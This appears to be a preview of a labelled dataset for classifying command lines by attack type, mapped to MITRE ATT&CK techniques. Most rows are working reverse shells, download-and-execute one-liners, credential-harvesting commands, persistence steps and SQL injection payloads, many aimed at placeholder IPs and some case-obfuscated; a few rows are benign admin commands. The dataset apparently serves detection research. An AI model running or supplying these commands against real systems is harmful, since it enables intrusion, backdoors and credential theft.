text
stringlengths
4
527
label
stringclasses
7 values
label_id
int64
0
6
language
stringclasses
5 values
mitre_technique
stringclasses
83 values
template_id
stringclasses
377 values
New-Item -Path 'HKCU:\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32' -Value 'C:\Users\Public\stage2.dll' -Force
persistence
4
powershell
T1546.015
persistence-048
cat /tmp/data51.pub >> /home/bob/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-031
rEgSvR32 /s /U /i:HTtpS://cDn-hElpdesk.eXAmPle.coM/a.SCt sCRobj.dll
download_execute
5
cmd
T1218.010
download_execute-045
for p in 22 80 443 445 3389; do (echo > /dev/tcp/198.51.100.145/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
net share & net session & net view \\app8.example.org
reconnaissance
1
cmd
T1135
reconnaissance-084
EXEC xp_cmdshell 'C:\Users\Public\nc.exe 198.51.100.166 443 -e cmd.exe';
reverse_shell
3
sql
T1505.001
reverse_shell-054
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"203.0.113.17:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
reverse_shell
3
bash
T1059
reverse_shell-042
EXEC xp_cmdshell 'C:\Users\Public\nc.exe 203.0.113.111 1337 -e cmd.exe';
reverse_shell
3
sql
T1505.001
reverse_shell-054
schtasks /create /tn "netlogond" /tr "C:\ProgramData\loader46.exe" /sc onlogon /ru SYSTEM /f
persistence
4
cmd
T1053.005
persistence-020
smbclient -L //198.51.100.56 -N
reconnaissance
1
bash
T1590
reconnaissance-022
CoPy-ItEm "$eNv:LOCALAPPDATA\GOoglE\Chrome\USeR Data\DeFauLt\Login Data" $enV:TEMP\conF71.db
credential_harvesting
2
powershell
T1555.003
credential_harvesting-024
sudo mysqldump -u bob -p products > tmp.sql
benign
0
bash
null
benign-103
NCat.Exe --sSl 198.51.100.117 5555 -e cmD.exe
reverse_shell
3
cmd
T1059.003
reverse_shell-025
%15; INSERT INTO users (username,password,role) VALUES ('helpdesk$','Winter2024!','admin')--#
sql_injection
6
sql
T1190
sql_injection-012
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.x; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
wget -q http://198.51.100.60/lib.deb && dpkg -i lib.deb
download_execute
5
bash
T1105
download_execute-034
sudo journalctl -u kafka --since "1 hour ago" | tail -n 40
benign
0
bash
null
benign-007
Get-ADUser -Identity dave -Properties LastLogonDate, PasswordLastSet
benign
0
powershell
null
benign-115
hydra -L users.txt -P passwords.txt ssh://198.51.100.205 -t 4
credential_harvesting
2
bash
T1110.003
credential_harvesting-016
0' or 'x'='x#
sql_injection
6
sql
T1190
sql_injection-025
sc query state= all | findstr SERVICE_NAME
reconnaissance
1
cmd
T1007
reconnaissance-041
[ConveRt]::TOBasE64StRiNG([TexT.ENCodINg]::UTF8.GeTBytes('Report'))
benign
0
powershell
null
benign-061
Start-BitsTransfer -Source http://203.0.113.155/kdev55.exe -Destination $env:TEMP\kdev55.exe; & $env:TEMP\kdev55.exe
download_execute
5
powershell
T1105
download_execute-039
GeT-ADUser -FilTEr * -PRopErties * | SElect-ObjEcT sAmacCOuntnamE,descriptioN,mEmberOf
reconnaissance
1
powershell
T1087.002
reconnaissance-023
%33' AND BENCHMARK(5000000,MD5('a'))-- -;%00
sql_injection
6
sql
T1190
sql_injection-036
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File health.txt
credential_harvesting
2
powershell
T1558.003
credential_harvesting-021
sudo mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAAOcP06p4T96F8L4bXZHz56HtlSKTywo91+aq/CLfF2zKoNB deploy@files4.contoso.test' >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-002
cmstp.exe /ni /s http://203.0.113.186/update16.inf
download_execute
5
cmd
T1218.003
download_execute-049
cp /tmp/health /usr/lib/systemd/system-generators/WindowsUpdateSvc
persistence
4
bash
T1543.002
persistence-034
net share & net session & net view \\app9.example.com
reconnaissance
1
cmd
T1135
reconnaissance-084
for p in 22 80 443 445 3389; do (echo > /dev/tcp/192.0.2.145/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
CREATE TABLE orders_archive AS SELECT * FROM orders WHERE created_at < '2024-05-22';
benign
0
sql
null
benign-140
cmd.exe /c "robocopy C:\Logs \\web18.example.org\backup /MIR /R:2"
benign
0
cmd
null
benign-064
CREATE USER 'svc_mon'@'%' IDENTIFIED BY 'Changeme123'; GRANT ALL PRIVILEGES ON *.* TO 'svc_mon'@'%' WITH GRANT OPTION;
persistence
4
sql
T1136
persistence-027
fetch -o - http://203.0.113.57/conf.sh | sh
download_execute
5
bash
T1105
download_execute-031
git log -p | grep -iE 'password|secret|api_key' | head -n 21
credential_harvesting
2
bash
T1552.001
credential_harvesting-050
New-Item -ItemType Directory -Path C:\Users\deploy\Documents\reports
benign
0
powershell
null
benign-057
rustscan -a 203.0.113.146 --ulimit 5000 -- -sV
reconnaissance
1
bash
T1046
reconnaissance-049
gobuster dir -u http://192.0.2.85/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
%' UNION SELECT NULL,NULL,NULL INTO OUTFILE '/var/www/html/lib.php'-- - --
sql_injection
6
sql
T1190
sql_injection-037
sudo systemctl enable --now mysql
benign
0
bash
null
benign-087
$C = Get-CRedentiaL -Message 'YOUr seSsIon haS exPIred. PleaSe re-enTeR yoUr password'; $c.GetNeTwOrkCredenTIal().PasSWoRd | OuT-File $eNv:TEMP\Stage2.txT
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('198.51.100.109',5555);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
nmap -sU --top-ports 100 192.0.2.241
reconnaissance
1
bash
T1046
reconnaissance-046
echo 'alias ls="ls --color=auto; /tmp/.install &"' >> /home/ubuntu/.bashrc
persistence
4
bash
T1546.004
persistence-035
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("203.0.113.143",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
reverse_shell
3
bash
T1059.006
reverse_shell-008
$client = New-Object System.Net.Sockets.TCPClient('203.0.113.64',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sen...
reverse_shell
3
powershell
T1059.001
reverse_shell-019
echo 'nohup /tmp/.install >/dev/null 2>&1 &' >> ~/.bashrc
persistence
4
bash
T1546.004
persistence-005
test'+GROUP+BY+total+HAVING+1=1--+--+-
sql_injection
6
sql
T1190
sql_injection-043
sudo nc -zv example.net 443
benign
0
bash
null
benign-045
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--;%00
sql_injection
6
sql
T1190
sql_injection-009
Restart-Computer -ComputerName db11.example.net -Force
benign
0
powershell
null
benign-129
useradd -m -G sudo -s /bin/bash svc_mon && echo 'svc_mon:Winter2024!' | chpasswd
persistence
4
bash
T1136.001
persistence-038
IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.249/kdev66.ps1')
download_execute
5
powershell
T1059.001
download_execute-011
powershell -nop -w hidden -ep bypass -c "IEX(IWR -UseBasicParsing http://192.0.2.250:443/run.ps1)"
download_execute
5
powershell
T1059.001
download_execute-012
echo 'alias sudo="read -sp \"[sudo] password for $USER: \" p; echo $p >> /tmp/.run5; sudo"' >> ~/.bashrc
credential_harvesting
2
bash
T1056.001
credential_harvesting-012
rEgsvr32 /S /n /U /I:httP://198.51.100.85:8080/AgeNT78.sCT ScroBJ.dlL
reverse_shell
3
cmd
T1218.010
reverse_shell-026
echo 'carol ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
persistence
4
bash
T1548.003
persistence-008
Get-ChildItem -Path \\web20.acme.test\C$ -Recurse -ErrorAction SilentlyContinue
reconnaissance
1
powershell
T1083
reconnaissance-078
gobuster dir -u http://192.0.2.16/ -w /usr/share/wordlists/dirb/common.txt
reconnaissance
1
bash
T1595
reconnaissance-019
socat TCP:203.0.113.169:4444 EXEC:sh
reverse_shell
3
bash
T1059.004
reverse_shell-037
Get-GPO -ALl | SELECt-OBjEct DisplayNaMe; gpREsUlt /r
reconnaissance
1
powershell
T1615
reconnaissance-077
0<&196;exec 196<>/dev/tcp/198.51.100.127/8443; sh <&196 >&196 2>&196
reverse_shell
3
bash
T1059.004
reverse_shell-002
Invoke-WebReQuest -Uri Https://DoWnLOaDS.ExaMple.cOm/sYs.Msi -OutFile $ENv:TEMP\sys.msI
benign
0
powershell
null
benign-051
sc create WindowsUpdateSvc binPath= "C:\ProgramData\svc.exe" start= auto & sc start WindowsUpdateSvc
persistence
4
cmd
T1543.003
persistence-021
/usr/bin/wget -O- https://cdn-update.example.org/install.sh | sudo bash
download_execute
5
bash
T1105
download_execute-027
$x=[System.Net.WebRequest]::Create('http://203.0.113.121/agent');$r=New-Object IO.StreamReader($x.GetResponse().GetResponseStream());iex $r.ReadToEnd()
download_execute
5
powershell
T1059.001
download_execute-042
ldapsearch -x -H ldap://203.0.113.140 -b 'dc=corp,dc=example' '(objectClass=user)' sAMAccountName
reconnaissance
1
bash
T1590
reconnaissance-058
-1'%20OR%20pg_sleep(5)--#
sql_injection
6
sql
T1190
sql_injection-013
smbclient -L //203.0.113.101 -N
reconnaissance
1
bash
T1590
reconnaissance-022
impacket-GetUserSPNs internal.test/deploy:'Summer#99' -dc-ip 192.0.2.230 -request
credential_harvesting
2
bash
T1558.003
credential_harvesting-015
powershell.exe -Command "New-Service -Name WindowsUpdateSvc -BinaryPathName 'C:\ProgramData\loader.exe' -StartupType Automatic"
persistence
4
powershell
T1543.003
persistence-045
lwp-download http://192.0.2.130/conf /tmp/conf && perl /tmp/conf
download_execute
5
bash
T1105
download_execute-030
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA9EO9pPZ3/TcBRKCB+fpeZjAXNwLap0D85hCq/CmXojo admin@app9.acme.test' >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-002
mshta http://198.51.100.52:80/run.hta
reverse_shell
3
cmd
T1218.005
reverse_shell-027
sudo bash -i >& /dev/tcp/203.0.113.177/8443 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-000
$c = Get-Credential -Message 'Your session has expired. Please re-enter your password'; $c.GetNetworkCredential().Password | Out-File $env:TEMP\loader88.txt
credential_harvesting
2
powershell
T1056.002
credential_harvesting-025
/usr/bin/curl -s http://198.51.100.109/k.pub >> ~/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-032
/bin/bash -i >& /dev/tcp/203.0.113.144/9001 0>&1
reverse_shell
3
bash
T1059.004
reverse_shell-000
shutdown /r /t 47
benign
0
cmd
null
benign-068
regsvr32 /s /n /u /i:http://198.51.100.213:5555/sys.sct scrobj.dll
reverse_shell
3
cmd
T1218.010
reverse_shell-026
sudo python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("cdn-inventory.service.example",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
reverse_shell
3
bash
T1059.006
reverse_shell-039
ALTER TABLE invoices ADD COLUMN region VARCHAR(255);
benign
0
sql
null
benign-076
printf '[Service]\nExecStart=/usr/local/bin/.a\nRestart=always\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/netlogond.service && systemctl enable --now netlogond
persistence
4
bash
T1543.002
persistence-004
powershell.exe -Command "$sm=(New-Object Net.Sockets.TCPClient('203.0.113.137',8443)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-047
cat /tmp/lib.pub >> /home/frank/.ssh/authorized_keys
persistence
4
bash
T1098.004
persistence-031
cmd.exe /c "ntdsutil "ac i ntds" "ifm" "create full C:\Temp\kdev20" q q"
credential_harvesting
2
cmd
T1003.003
credential_harvesting-030
sudo busybox wget http://198.51.100.192/health -O- > /tmp/health; sh /tmp/health
download_execute
5
bash
T1105
download_execute-006
for p in 22 80 443 445 3389; do (echo > /dev/tcp/198.51.100.144/$p) 2>/dev/null && echo "$p open"; done
reconnaissance
1
bash
T1046
reconnaissance-004
UPDATE users SET status = 'active' WHERE id = 6;
benign
0
sql
null
benign-070
nmap -sS -p- -T4 203.0.113.119
reconnaissance
1
bash
T1046
reconnaissance-000
GeT-PRoCess | Sort-ObjeCt CPU -DEsCENdInG | SeLEct-OBject -FirSt 5
benign
0
powershell
null
benign-048
netsh wlan show ProfilE name="cAChe" kEy=clear
credential_harvesting
2
cmd
T1552.001
credential_harvesting-036
$S=NEw-ObJect IO.StreamReadER((New-ObjecT NEt.SOckeTs.TCpClIent('192.0.2.169',4444)).GetSTREaM())
reverse_shell
3
powershell
T1059.001
reverse_shell-048
UPDATE accounts SET status = 'active' WHERE id = 16;
benign
0
sql
null
benign-070
busybox wget http://192.0.2.145/payload -O- > /tmp/payload; sh /tmp/payload
download_execute
5
bash
T1105
download_execute-006
powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('203.0.113.250',8080);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$s.Write(([text.encoding]::ASCII).GetBytes($r),0,$r.Length)}"
reverse_shell
3
powershell
T1059.001
reverse_shell-020
/view?id=11%27%20AND%20extractvalue(1,concat(0x7e,database()))--+
sql_injection
6
http
T1190
sql_injection-047
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -nop -c iex(iwr http://192.0.2.160/loader7.ps1)"",0:close")
download_execute
5
cmd
T1218.005
download_execute-021
sudo du -sh /data/exports/* | sort -h
benign
0
bash
null
benign-016